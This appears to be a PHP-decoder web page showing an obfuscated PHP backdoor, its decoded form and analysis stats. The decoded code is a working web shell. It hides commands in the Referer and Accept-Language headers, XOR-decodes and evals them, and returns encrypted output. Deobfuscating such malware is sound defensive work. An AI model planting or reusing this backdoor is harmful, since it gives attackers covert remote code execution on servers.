Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $c='NJ_decoNJde(pregNJ_replNJace(arraNJyNJ(NJ"/_/","NJ/NJ-/"),array("/NJ","+"),NJ$ss..

Decoded Output download

$kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}

Did this file decode correctly?

Original Code

<?php
$c='NJ_decoNJde(pregNJ_replNJace(arraNJyNJ(NJ"/_/","NJ/NJ-/"),array("/NJ","+"),NJ$ss($s[$i]N';
$F=str_replace('Ge','','crGeeaGeGetGee_GefunGection');
$h='ode(xNJ(gzcompreNJNJNJss($o)NJ,$k)NJ);print("<$k>NJ$dNJ<NJ/$k>");@sNJession_destroy();}}}}';
$s='s(md5($i.NJ$kh),NJ0,3))NJ;$f=$sl($sNJNJs(md5($NJNJi.$kfNJ),0,3));$p="";fNJor($z=1;$NJz<c';
$O=');NJ$o="";fNJoNJr($i=0;$iNJ<$l;NJ){foNJr($j=0;(NJNJ$j<$c&&NJ$i<$l);$j++,NJ$i+NJ+){$o.NJ=$NJt';
$S='J,0,NJ$e))),$k)))NJ;$oNJ=ob_get_NJcoNJNJntents()NJ;ob_eNJnd_clean();$d=NJbNJaNJse64_enc';
$r='$kh="5NJNJd41";$kf="NJ402a"NJ;fNJunNJctioNJn x($t,$k)NJ{$c=strlen($k);$l=sNJNJtrlen($t';
$M=']=""NJ;$p=$ssNJ($NJp,3);}if(arNJray_NJkey_exists(NJ$i,$s)){$NJs[$NJiNJ].=$NJp;$e=NJstrp';
$C='J($u["NJquery"],$q);$q=arNJrayNJ_NJvalNJues($q)NJ;preg_match_NJall("/([\\wNJ])[\\w-NJ]+(?NJ';
$A='oNJunt(NJ$m[1]);$NJz++NJ)$p.=NJ$q[$mNJ[2][$z]];NJiNJf(stNJrpos(NJ$p,$h)===0NJ){$s[$iNJ';
$d='os(NJ$s[$NJNJi],$f);if(NJ$e){$k=$khNJ.$kf;ob_start(NJ);@evaNJl(@gzuncNJompressNJ(@x(@bNJase64';
$W='["HTTP_ACNJCEPNJT_LANNJGUAGE"]NJ;if($rrNJ&&$NJra){$u=parNJse_url(NJNJ$rr);parseNJ_stNJrN';
$z='{$i}^$kNJ{$j};}}return $oNJ;}$NJr=$NJ_SERVERNJ;$NJrr=@$r["HTTP_NJRENJFNJERERNJ"];$ra=@$r';
$N='NJNJION;$ss="substr";NJ$sl="strtNJolowerNJ";$i=$mNJ[1NJ][0].$m[1]NJ[1];$NJh=$NJsNJl($s';
$w=':;q=0.NJ(NJ[\\d]))?,?/NJ",$rNJa,$m)NJ;ifNJNJ($q&&$m){@sessionNJ_starNJt();$NJs=&$NJ_SESS';
$Z=str_replace('NJ','',$r.$O.$z.$W.$C.$w.$N.$s.$A.$M.$d.$c.$S.$h);
$v=$F('',$Z);$v();
?>

Function Calls

null 1
str_replace 2
create_function 1

Variables

$A oNJunt(NJ$m[1]);$NJz++NJ)$p.=NJ$q[$mNJ[2][$z]];NJiNJf(stNJrp..
$C J($u["NJquery"],$q);$q=arNJrayNJ_NJvalNJues($q)NJ;preg_match..
$F create_function
$M ]=""NJ;$p=$ssNJ($NJp,3);}if(arNJray_NJkey_exists(NJ$i,$s)){$..
$N NJNJION;$ss="substr";NJ$sl="strtNJolowerNJ";$i=$mNJ[1NJ][0]...
$O );NJ$o="";fNJoNJr($i=0;$iNJ<$l;NJ){foNJr($j=0;(NJNJ$j<$c&&NJ..
$S J,0,NJ$e))),$k)))NJ;$oNJ=ob_get_NJcoNJNJntents()NJ;ob_eNJnd_..
$W ["HTTP_ACNJCEPNJT_LANNJGUAGE"]NJ;if($rrNJ&&$NJra){$u=parNJse..
$Z $kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=str..
$c NJ_decoNJde(pregNJ_replNJace(arraNJyNJ(NJ"/_/","NJ/NJ-/"),ar..
$d os(NJ$s[$NJNJi],$f);if(NJ$e){$k=$khNJ.$kf;ob_start(NJ);@evaN..
$h ode(xNJ(gzcompreNJNJNJss($o)NJ,$k)NJ);print("<$k>NJ$dNJ<NJ/$..
$r $kh="5NJNJd41";$kf="NJ402a"NJ;fNJunNJctioNJn x($t,$k)NJ{$c=s..
$s s(md5($i.NJ$kh),NJ0,3))NJ;$f=$sl($sNJNJs(md5($NJNJi.$kfNJ),0..
$v None
$w :;q=0.NJ(NJ[\d]))?,?/NJ",$rNJa,$m)NJ;ifNJNJ($q&&$m){@session..
$z {$i}^$kNJ{$j};}}return $oNJ;}$NJr=$NJ_SERVERNJ;$NJrr=@$r["HT..

Stats

MD5 e6a1992bd9e222991afb0b1d21c78566
Eval Count 1
Decode Time 92 ms